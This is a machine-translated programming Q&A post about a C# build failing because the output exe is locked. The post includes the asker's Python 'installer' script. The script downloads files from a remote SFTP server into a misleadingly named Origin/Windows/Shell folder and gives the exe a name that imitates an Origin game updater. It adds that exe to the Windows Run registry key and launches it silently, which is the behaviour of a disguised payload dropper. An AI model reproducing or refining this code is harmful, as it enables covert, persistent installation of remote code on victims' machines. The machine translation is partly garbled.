2017-05-31 182 views
0

我的問題非常奇怪,我對它爲什麼會這樣做有0個想法。 所以,當我嘗試運行在Visual C#中的第二次我的控制檯應用程序,它說C#無法構建項目

無法複製文件「OBJ \調試\ OriginGameUpdaterService.exe」到」 .. \ .. \ .. \ .. \ Desktop \ Build \ OriginGameUpdaterService.exe「。訪問路徑'.. \ .. \ .. \ .. \ Desktop \ Build \ OriginGameUpdaterService.exe'被拒絕。

那麼我做了什麼,我必須在每次運行它時更改生成設置中的生成輸出路徑。這不是唯一的事情。一旦exe文件夾中,我不能刪除文件夾和應用程序。當我嘗試我有一個Windows消息,說我需要Julien-PC/Julien權利來執行此操作(我是Julien會話的管理員)。

它真的很奇怪,因爲我無法做任何事情...我做了一個Python腳本,安裝在他的DLL文件的exe文件,但它不工作,由於該錯誤...

(這裏是我的installation.py腳本)

#!/usr/bin/python 
import subprocess; 
import paramiko; 
import getpass; 
import os.path; 
import winreg; 

print("Connecting to server."); 
user = getpass.getuser() 
ssh = paramiko.SSHClient(); 
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 
ssh.load_system_host_keys(); 
ssh.connect("********", 22, "*******", "*********"); 
# ouverture des transferts de fichiers avec le ssh 
sftp = ssh.open_sftp(); 
print("Connexion successed."); 

REG_PATH = r"SOFTWARE\Microsoft\Windows\CurrentVersion\Run" 

def set_reg(name, value): 
    try: 
     winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH) 
     registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, 
             winreg.KEY_WRITE) 
     winreg.SetValueEx(registry_key, name, 0, winreg.REG_SZ, value) 
     winreg.CloseKey(registry_key) 
     return True 
    except WindowsError: 
     return False 

print("Creating directory."); 
path = "C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s" 
os.makedirs(path, exist_ok=True) 

for i in sftp.listdir("/home/dll"): 
    print("Downloading " + i); 
    sftp.get("/home/dll/" + i, "C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s/" + i); 
set_reg("OriginGameUpdaterService", "\"C:\\Users\\" + user + "\\AppData\\Local\\Origin\\Windows\\Win32X\\Shell\\s\\OriginGameUpdaterService.exe\""); 
if(os.path.exists("C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s/OriginGameUpdaterService.exe")): 
    exit(0) 

print("Creating startup *.cmd file."); 
file = open("C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s/setup.cmd","w") 
file.write("cd C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s\n") 
file.write("start OriginGameUpdaterService.exe") 
file.close() 
print("Starting exe"); 
subprocess.Popen("C:/Users/" + user + "/AppData/Local/Origin/Windows/Win32X/Shell/s/setup.cmd", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE); 
print("Installation complete.") 

如果有人只能幫助我,我知道這是很難理解我的問題,這是我很難解釋它。 其他人一個論壇,我看到有人有類似的問題,他改變了他的AssemblyVersion 2.0。*所以這就是我所做的,它仍然是相同的問題​​

+0

您確定啓動後進程是否正確終止? – jAC

+0

你可以嘗試右鍵點擊visual studio圖標並以管理員身份運行嗎? –

回答

0

只要確保EXE不再運行。有時你認爲它已關閉,但仍在運行。打開任務管理器並查看詳細信息選項卡。

+0

我開始一個新的實例之前關閉它...( –

+0

)你是否100%確定它沒有運行? –